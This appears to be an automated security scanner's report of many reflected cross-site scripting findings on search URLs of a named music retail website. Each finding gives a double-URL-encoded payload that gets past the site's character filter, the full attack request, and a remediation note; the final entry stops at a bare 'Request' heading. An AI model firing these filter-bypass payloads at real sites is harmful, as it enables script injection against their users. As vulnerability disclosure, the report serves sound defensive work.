The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e82a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edd299282faf was submitted in the REST URL parameter 3. This input was echoed as 7e82a"><script>alert(1)</script>dd299282faf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Miko7e82a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edd299282faf&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload db927%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3b8896b0659 was submitted in the REST URL parameter 3. This input was echoed as db927</title><script>alert(1)</script>3b8896b0659 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Mikodb927%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3b8896b0659&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b355c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1c16d003cfc was submitted in the REST URL parameter 3. This input was echoed as b355c</title><script>alert(1)</script>1c16d003cfc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nate%20Queryb355c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1c16d003cfc&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7fd84%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8cb97fde7aa was submitted in the REST URL parameter 3. This input was echoed as 7fd84"><script>alert(1)</script>8cb97fde7aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nate%20Query7fd84%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8cb97fde7aa&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload d4cb5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0285cbf68e5 was submitted in the REST URL parameter 3. This input was echoed as d4cb5</title><script>alert(1)</script>0285cbf68e5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nate%20Ruthd4cb5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0285cbf68e5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ade03%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e40d85bd307f was submitted in the REST URL parameter 3. This input was echoed as ade03"><script>alert(1)</script>40d85bd307f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nate%20Ruthade03%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e40d85bd307f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39718%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e42e837510e8 was submitted in the REST URL parameter 3. This input was echoed as 39718"><script>alert(1)</script>42e837510e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathalie%20Nordnes39718%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e42e837510e8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload a331b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0de9c568909 was submitted in the REST URL parameter 3. This input was echoed as a331b</title><script>alert(1)</script>0de9c568909 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathalie%20Nordnesa331b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0de9c568909&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e3b7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e24c7742ab54 was submitted in the REST URL parameter 3. This input was echoed as 4e3b7"><script>alert(1)</script>24c7742ab54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Delfs4e3b7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e24c7742ab54&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c42fb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0122504e990 was submitted in the REST URL parameter 3. This input was echoed as c42fb</title><script>alert(1)</script>0122504e990 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Delfsc42fb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0122504e990&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 67dea%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8d4bb80bd21 was submitted in the REST URL parameter 3. This input was echoed as 67dea</title><script>alert(1)</script>8d4bb80bd21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Fake67dea%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8d4bb80bd21&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9667a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e591e7ab48cc was submitted in the REST URL parameter 3. This input was echoed as 9667a"><script>alert(1)</script>591e7ab48cc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Fake9667a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e591e7ab48cc&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2f47%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2c4937a327 was submitted in the REST URL parameter 3. This input was echoed as b2f47"><script>alert(1)</script>e2c4937a327 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Larsonb2f47%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2c4937a327&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 1b81c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec306b7ef72c was submitted in the REST URL parameter 3. This input was echoed as 1b81c</title><script>alert(1)</script>c306b7ef72c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Larson1b81c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec306b7ef72c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload ab9ec%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e20af953ef42 was submitted in the REST URL parameter 3. This input was echoed as ab9ec</title><script>alert(1)</script>20af953ef42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Michelab9ec%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e20af953ef42&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed64e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e091edb0f64d was submitted in the REST URL parameter 3. This input was echoed as ed64e"><script>alert(1)</script>091edb0f64d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathan%20Micheled64e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e091edb0f64d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 28cc4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1307becdcb7 was submitted in the REST URL parameter 3. This input was echoed as 28cc4</title><script>alert(1)</script>1307becdcb7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathaniel%20Rateliff%2028cc4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1307becdcb7&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84e47%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0b63a131d17 was submitted in the REST URL parameter 3. This input was echoed as 84e47"><script>alert(1)</script>0b63a131d17 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nathaniel%20Rateliff%2084e47%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0b63a131d17&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b7e20%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea3058b1d6de was submitted in the REST URL parameter 3. This input was echoed as b7e20</title><script>alert(1)</script>a3058b1d6de in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nation%20of%20Ulyssesb7e20%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea3058b1d6de&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Nation of Ulyssesb7e20</title><script>alert(1)</script>a3058b1d6de</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9e0a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e87da78ad881 was submitted in the REST URL parameter 3. This input was echoed as d9e0a"><script>alert(1)</script>87da78ad881 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nation%20of%20Ulyssesd9e0a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e87da78ad881&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c3e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6686dec5e6 was submitted in the REST URL parameter 3. This input was echoed as 8c3e9"><script>alert(1)</script>6686dec5e6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/National%20Eye8c3e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6686dec5e6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 32d97%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f1dbac9e14 was submitted in the REST URL parameter 3. This input was echoed as 32d97</title><script>alert(1)</script>3f1dbac9e14 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/National%20Eye32d97%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f1dbac9e14&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e69e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9ad75e72550 was submitted in the REST URL parameter 3. This input was echoed as 4e69e"><script>alert(1)</script>9ad75e72550 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/National%20Skyline4e69e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9ad75e72550&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b5e53%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee040bd8f7c8 was submitted in the REST URL parameter 3. This input was echoed as b5e53</title><script>alert(1)</script>e040bd8f7c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/National%20Skylineb5e53%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee040bd8f7c8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 99a69%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eccbe7d5e415 was submitted in the REST URL parameter 3. This input was echoed as 99a69</title><script>alert(1)</script>ccbe7d5e415 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nationale%20Blue99a69%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eccbe7d5e415&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27054%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3047c3c357f was submitted in the REST URL parameter 3. This input was echoed as 27054"><script>alert(1)</script>3047c3c357f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nationale%20Blue27054%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3047c3c357f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 247ad%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e50d1ed31388 was submitted in the REST URL parameter 3. This input was echoed as 247ad</title><script>alert(1)</script>50d1ed31388 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
